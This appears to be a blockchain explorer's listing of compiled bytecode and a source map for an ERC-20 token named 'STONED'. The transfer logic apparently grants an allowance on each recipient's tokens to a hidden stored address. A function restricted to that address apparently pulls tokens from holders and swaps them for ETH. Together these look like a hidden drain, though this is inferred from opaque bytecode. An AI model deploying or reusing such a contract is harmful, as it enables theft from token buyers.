5b505af115801561075b573d5f803e3d5ffd5b5050505050505050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166107ca6108da565b73ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790611bde565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f53544f4e45440000000000000000000000000000000000000000000000000000815250905090565b5f61094a338484610fe1565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166109736108da565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c090611bde565b60405180910390fd5b600460019054906101000a900460ff16156109e2575f80fd5b610a1030600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e1e565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f9190611966565b9050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2f9190611966565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b69929190611bfc565b6020604051808303815f875af1158015610b85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba99190611966565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3030610765565b5f80610c3a6108da565b426040518863ffffffff1660e01b8152600401610c5c96959493929190611c23565b60606040518083038185885af1158015610c78573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9d9190611c96565b505050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d3d929190611ce6565b6020604051808303815f875af1158015610d59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7d9190611d37565b506001600460016101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611dd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd491906117ca565b60405180910390a3505050565b5f8111611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611eee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108890611f56565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690611fbe565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111a95750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111e157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561129c57600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561126f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112835761127e82826114c8565b61129b565b600b5f81548092919061129590611fdc565b91905055505b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f991906117ca565b60405180910390a36113518160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142890919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113e28160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461156a90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f61146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c7565b905092915050565b8060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114bd91906119be565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f80828461157891906119be565b9050838110156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b49061206d565b60405180910390fd5b8091505092915050565b5f83831115829061160e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116059190611699565b60405180910390fd5b505f838561161c919061208b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61166b82611629565b6116758185611633565b9350611685818560208601611643565b61168e81611651565b840191505092915050565b5f6020820190508181035f8301526116b18184611661565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116e6826116bd565b9050919050565b6116f6816116dc565b8114611700575f80fd5b50565b5f81359050611711816116ed565b92915050565b5f819050919050565b61172981611717565b8114611733575f80fd5b50565b5f8135905061174481611720565b92915050565b5f80604083850312156117605761175f6116b9565b5b5f61176d85828601611703565b925050602061177e85828601611736565b9150509250929050565b5f8115159050919050565b61179c81611788565b82525050565b5f6020820190506117b55f830184611793565b92915050565b6117c481611717565b82525050565b5f6020820190506117dd5f8301846117bb565b92915050565b5f805f606084860312156117fa576117f96116b9565b5b5f61180786828701611703565b935050602061181886828701611703565b925050604061182986828701611736565b9150509250925092565b5f60ff82169050919050565b61184881611833565b82525050565b5f6020820190506118615f83018461183f565b92915050565b611870816116dc565b82525050565b5f6020820190506118895f830184611867565b92915050565b5f602082840312156118a4576118a36116b9565b5b5f6118b184828501611703565b91505092915050565b5f80604083850312156118d0576118cf6116b9565b5b5f6118dd85828601611703565b92505060206118ee85828601611703565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611960816116ed565b92915050565b5f6020828403121561197b5761197a6116b9565b5b5f61198884828501611952565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119c882611717565b91506119d383611717565b92508282019050808211156119eb576119ea611991565b5b92915050565b5f819050919050565b5f819050919050565b5f611a1d611a18611a13846119f1565b6119fa565b611717565b9050919050565b611a2d81611a03565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611a65816116dc565b82525050565b5f611a768383611a5c565b60208301905092915050565b5f602082019050919050565b5f611a9882611a33565b611aa28185611a3d565b9350611aad83611a4d565b805f5b83811015611add578151611ac48882611a6b565b9750611acf83611a82565b925050600181019050611ab0565b5085935050505092915050565b5f611b04611aff611afa846116bd565b6119fa565b6116bd565b9050919050565b5f611b1582611aea565b9050919050565b5f611b2682611b0b565b9050919050565b611b3681611b1c565b82525050565b5f60a082019050611b4f5f8301886117bb565b611b5c6020830187611a24565b8181036040830152611b6e8186611a8e565b9050611b7d6060830185611b2d565b611b8a60808301846117bb565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bc8602083611633565b9150611bd382611b94565b602082019050919050565b5f6020820190508181035f830152611bf581611bbc565b9050919050565b5f604082019050611c0f5f830185611867565b611c1c6020830184611867565b9392505050565b5f60c082019050611c365f830189611867565b611c4360208301886117bb565b611c506040830187611a24565b611c5d6060830186611a24565b611c6a6080830185611867565b611c7760a08301846117bb565b979650505050505050565b5f81519050611c9081611720565b92915050565b5f805f60608486031215611cad57611cac6116b9565b5b5f611cba86828701611c82565b9350506020611ccb86828701611c82565b9250506040611cdc86828701611c82565b9150509250925092565b5f604082019050611cf95f830185611867565b611d0660208301846117bb565b9392505050565b611d1681611788565b8114611d20575f80fd5b50565b5f81519050611d3181611d0d565b92915050565b5f60208284031215611d4c57611d4b6116b9565b5b5f611d5984828501611d23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611dbc602483611633565b9150611dc782611d62565b604082019050919050565b5f6020820190508181035f830152611de981611db0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4a602283611633565b9150611e5582611df0565b604082019050919050565b5f6020820190508181035f830152611e7781611e3e565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ed8602a83611633565b9150611ee382611e7e565b604082019050919050565b5f6020820190508181035f830152611f0581611ecc565b9050919050565b7f5472616e7366657220746f207a65726f20616464726573732e000000000000005f82015250565b5f611f40601983611633565b9150611f4b82611f0c565b602082019050919050565b5f6020820190508181035f830152611f6d81611f34565b9050919050565b7f5472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611fa8601b83611633565b9150611fb382611f74565b602082019050919050565b5f6020820190508181035f830152611fd581611f9c565b9050919050565b5f611fe682611717565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361201857612017611991565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612057601b83611633565b915061206282612023565b602082019050919050565b5f6020820190508181035f8301526120848161204b565b9050919050565b5f61209582611717565b91506120a083611717565b92508282039050818111156120b8576120b7611991565b5b9291505056fea264697066735822122096c85fac47407e283514544ca70d2f47ae09ae8f68354a079c5f430d40e4fdd164736f6c634300081a0033
Deployed Bytecode Sourcemap
2696:4943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4029:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4909:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3930:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6066:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4120:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3653:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7017:617;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4353:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;582:140;;;;;;;;;;;;;:::i;:::-;;186:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4471;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5902:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6330:561;;;:::i;:::-;;4211:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4029:83;4066:13;4099:5;;;;;;;;;;;;;;;;;4092:12;;4029:83;:::o;4909:150::-;4975:4;4992:37;5001:10;5013:7;5022:6;4992:8;:37::i;:::-;5047:4;5040:11;;4909:150;;;;:::o;3930:91::-;3974:7;4001:12;;3994:19;;3930:91;:::o;6066:256::-;6155:4;6172:36;6182:6;6190:9;6201:6;6172:9;:36::i;:::-;6219:73;6228:6;6236:10;6248:43;6284:6;6248:11;:19;6260:6;6248:19;;;;;;;;;;;;;;;:31;6268:10;6248:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;6219:8;:73::i;:::-;6310:4;6303:11;;6066:256;;;;;:::o;4120:83::-;4161:5;4186:9;;;;;;;;;;;4179:16;;4120:83;:::o;3653:28::-;;;;;;;;;;;;;:::o;7017:617::-;7126:9;;;;;;;;;;;7112:23;;:10;:23;;;7104:32;;;;;;7147:33;7165:4;7172:7;7147:9;:33::i;:::-;7191:21;7229:1;7215:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7191:40;;7260:4;7242;7247:1;7242:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7287:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7276:4;7281:1;7276:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;7320:19;7342:24;7360:4;7342:9;:24::i;:::-;7320:46;;7377:62;7394:4;7409:15;;;;;;;;;;;7427:11;7377:8;:62::i;:::-;7450:15;;;;;;;;;;;:37;;;7502:11;7529:1;7546:4;7566:9;;;;;;;;;;;7609:2;7591:15;:20;;;;:::i;:::-;7450:176;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7093:541;;7017:617;;:::o;4353:110::-;4410:7;4437:9;:18;4447:7;4437:18;;;;;;;;;;;;;;;;4430:25;;4353:110;;;:::o;582:140::-;478:10;467:21;;:7;:5;:7::i;:::-;:21;;;459:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;681:1:::1;644:40;;665:6;::::0;::::1;;;;;;;;644:40;;;;;;;;;;;;712:1;695:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;582:140::o:0;186:87::-;232:7;259:6;;;;;;;;;;;252:13;;186:87;:::o;4471:::-;4510:13;4543:7;;;;;;;;;;;;;;;;;4536:14;;4471:87;:::o;5902:156::-;5971:4;5988:40;5998:10;6010:9;6021:6;5988:9;:40::i;:::-;6046:4;6039:11;;5902:156;;;;:::o;6330:561::-;478:10;467:21;;:7;:5;:7::i;:::-;:21;;;459:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6400:11:::1;;;;;;;;;;;6399:12;6391:21;;;::::0;::::1;;6423:63;6440:4;6455:15;;;;;;;;;;;6473:12;;6423:8;:63::i;:::-;6497:12;6512:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6497:37;;6579:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6561:56;;;6626:4;6633;6561:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6545:13;;:93;;;;;;;;;;;;;;;;;;6649:15;;;;;;;;;;;:31;;;6688:9;6708:4;6715:24;6733:4;6715:9;:24::i;:::-;6741:1;6744::::0;6747:7:::1;:5;:7::i;:::-;6756:15;6649:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6790:13;;;;;;;;;;;6783:29;;;6821:15;;;;;;;;;;;6839:14;6783:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6879:4;6865:11;;:18;;;;;;;;;;;;;;;;;;6380:511;6330:561::o:0;4211:134::-;4283:7;4310:11;:18;4322:5;4310:18;;;;;;;;;;;;;;;:27;4329:7;4310:27;;;;;;;;;;;;;;;;4303:34;;4211:134;;;;:::o;4566:335::-;4676:1;4659:19;;:5;:19;;;4651:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4757:1;4738:21;;:7;:21;;;4730:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4839:6;4809:11;:18;4821:5;4809:18;;;;;;;;;;;;;;;:27;4828:7;4809:27;;;;;;;;;;;;;;;:36;;;;4877:7;4861:32;;4870:5;4861:32;;;4886:6;4861:32;;;;;;:::i;:::-;;;;;;;;4566:335;;;:::o;5067:692::-;5164:1;5155:6;:10;5147:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5245:1;5231:16;;:2;:16;;;5223:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;5312:1;5296:18;;:4;:18;;;5288:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;5375:15;;;;;;;;;;;5361:30;;:2;:30;;;;:53;;;;;5401:13;;;;;;;;;;;5395:19;;:2;:19;;;;5361:53;:76;;;;;5432:4;5418:19;;:2;:19;;;;5361:76;5357:245;;;5471:15;;;;;;;;;;;5457:30;;:2;:30;;;;:53;;;;;5505:4;5491:19;;:2;:19;;;;5457:53;5453:138;;;5513:28;5530:2;5534:6;5513:16;:28::i;:::-;5453:138;;;5568:4;;:7;;;;;;;;;:::i;:::-;;;;;;5453:138;5357:245;5632:2;5617:26;;5626:4;5617:26;;;5636:6;5617:26;;;;;;:::i;:::-;;;;;;;;5672:27;5692:6;5672:9;:15;5682:4;5672:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5654:9;:15;5664:4;5654:15;;;;;;;;;;;;;;;:45;;;;5726:25;5744:6;5726:9;:13;5736:2;5726:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5710:9;:13;5720:2;5710:13;;;;;;;;;;;;;;;:41;;;;5067:692;;;:::o;751:136::-;809:7;836:43;840:1;843;836:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;829:50;;751:136;;;;:::o;6899:109::-;6994:6;6966:9;:24;6984:4;6966:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;6899:109;;:::o;5767:127::-;5875:11;5846;:15;5858:2;5846:15;;;;;;;;;;;;;;;:26;5862:9;;;;;;;;;;;5846:26;;;;;;;;;;;;;;;:40;;;;5767:127;;:::o;1283:179::-;1341:7;1361:9;1377:1;1373;:5;;;;:::i;:::-;1361:17;;1402:1;1397;:6;;1389:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1453:1;1446:8;;;1283:179;;;;:::o;1663:190::-;1749:7;1782:1;1777;:6;;1785:12;1769:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1809:9;1825:1;1821;:5;;;;:::i;:::-;1809:17;;1844:1;1837:8;;;1663:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:180;6147:77;6144:1;6137:88;6244:4;6241:1;6234:15;6268:4;6265:1;6258:15;6285:143;6342:5;6373:6;6367:13;6358:22;;6389:33;6416:5;6389:33;:::i;:::-;6285:143;;;;:::o;6434:351::-;6504:6;6553:2;6541:9;6532:7;6528:23;6524:32;6521:119;;;6559:79;;:::i;:::-;6521:119;6679:1;6704:64;6760:7;6751:6;6740:9;6736:22;6704:64;:::i;:::-;6694:74;;6650:128;6434:351;;;;:::o;6791:180::-;6839:77;6836:1;6829:88;6936:4;6933:1;6926:15;6960:4;6957:1;6950:15;6977:191;7017:3;7036:20;7054:1;7036:20;:::i;:::-;7031:25;;7070:20;7088:1;7070:20;:::i;:::-;7065:25;;7113:1;7110;7106:9;7099:16;;7134:3;7131:1;7128:10;7125:36;;;7141:18;;:::i;:::-;7125:36;6977:191;;;;:::o;7174:85::-;7219:7;7248:5;7237:16;;7174:85;;;:::o;7265:60::-;7293:3;7314:5;7307:12;;7265:60;;;:::o;7331:158::-;7389:9;7422:61;7440:42;7449:32;7475:5;7449:32;:::i;:::-;7440:42;:::i;:::-;7422:61;:::i;:::-;7409:74;;7331:158;;;:::o;7495:147::-;7590:45;7629:5;7590:45;:::i;:::-;7585:3;7578:58;7495:147;;:::o;7648:114::-;7715:6;7749:5;7743:12;7733:22;;7648:114;;;:::o;7768:184::-;7867:11;7901:6;7896:3;7889:19;7941:4;7936:3;7932:14;7917:29;;7768:184;;;;:::o;7958:132::-;8025:4;8048:3;8040:11;;8078:4;8073:3;8069:14;8061:22;;7958:132;;;:::o;8096:108::-;8173:24;8191:5;8173:24;:::i;:::-;8168:3;8161:37;8096:108;;:::o;8210:179::-;8279:10;8300:46;8342:3;8334:6;8300:46;:::i;:::-;8378:4;8373:3;8369:14;8355:28;;8210:179;;;;:::o;8395:113::-;8465:4;8497;8492:3;8488:14;8480:22;;8395:113;;;:::o;8544:732::-;8663:3;8692:54;8740:5;8692:54;:::i;:::-;8762:86;8841:6;8836:3;8762:86;:::i;:::-;8755:93;;8872:56;8922:5;8872:56;:::i;:::-;8951:7;8982:1;8967:284;8992:6;8989:1;8986:13;8967:284;;;9068:6;9062:13;9095:63;9154:3;9139:13;9095:63;:::i;:::-;9088:70;;9181:60;9234:6;9181:60;:::i;:::-;9171:70;;9027:224;9014:1;9011;9007:9;9002:14;;8967:284;;;8971:14;9267:3;9260:10;;8668:608;;;8544:732;;;;:::o;9282:142::-;9332:9;9365:53;9383:34;9392:24;9410:5;9392:24;:::i;:::-;9383:34;:::i;:::-;9365:53;:::i;:::-;9352:66;;9282:142;;;:::o;9430:126::-;9480:9;9513:37;9544:5;9513:37;:::i;:::-;9500:50;;9430:126;;;:::o;9562:134::-;9620:9;9653:37;9684:5;9653:37;:::i;:::-;9640:50;;9562:134;;;:::o;9702:147::-;9797:45;9836:5;9797:45;:::i;:::-;9792:3;9785:58;9702:147;;:::o;9855:847::-;10126:4;10164:3;10153:9;10149:19;10141:27;;10178:71;10246:1;10235:9;10231:17;10222:6;10178:71;:::i;:::-;10259:80;10335:2;10324:9;10320:18;10311:6;10259:80;:::i;:::-;10386:9;10380:4;10376:20;10371:2;10360:9;10356:18;10349:48;10414:108;10517:4;10508:6;10414:108;:::i;:::-;10406:116;;10532:80;10608:2;10597:9;10593:18;10584:6;10532:80;:::i;:::-;10622:73;10690:3;10679:9;10675:19;10666:6;10622:73;:::i;:::-;9855:847;;;;;;;;:::o;10708:182::-;10848:34;10844:1;10836:6;10832:14;10825:58;10708:182;:::o;10896:366::-;11038:3;11059:67;11123:2;11118:3;11059:67;:::i;:::-;11052:74;;11135:93;11224:3;11135:93;:::i;:::-;11253:2;11248:3;11244:12;11237:19;;10896:366;;;:::o;11268:419::-;11434:4;11472:2;11461:9;11457:18;11449:26;;11521:9;11515:4;11511:20;11507:1;11496:9;11492:17;11485:47;11549:131;11675:4;11549:131;:::i;:::-;11541:139;;11268:419;;;:::o;11693:332::-;11814:4;11852:2;11841:9;11837:18;11829:26;;11865:71;11933:1;11922:9;11918:17;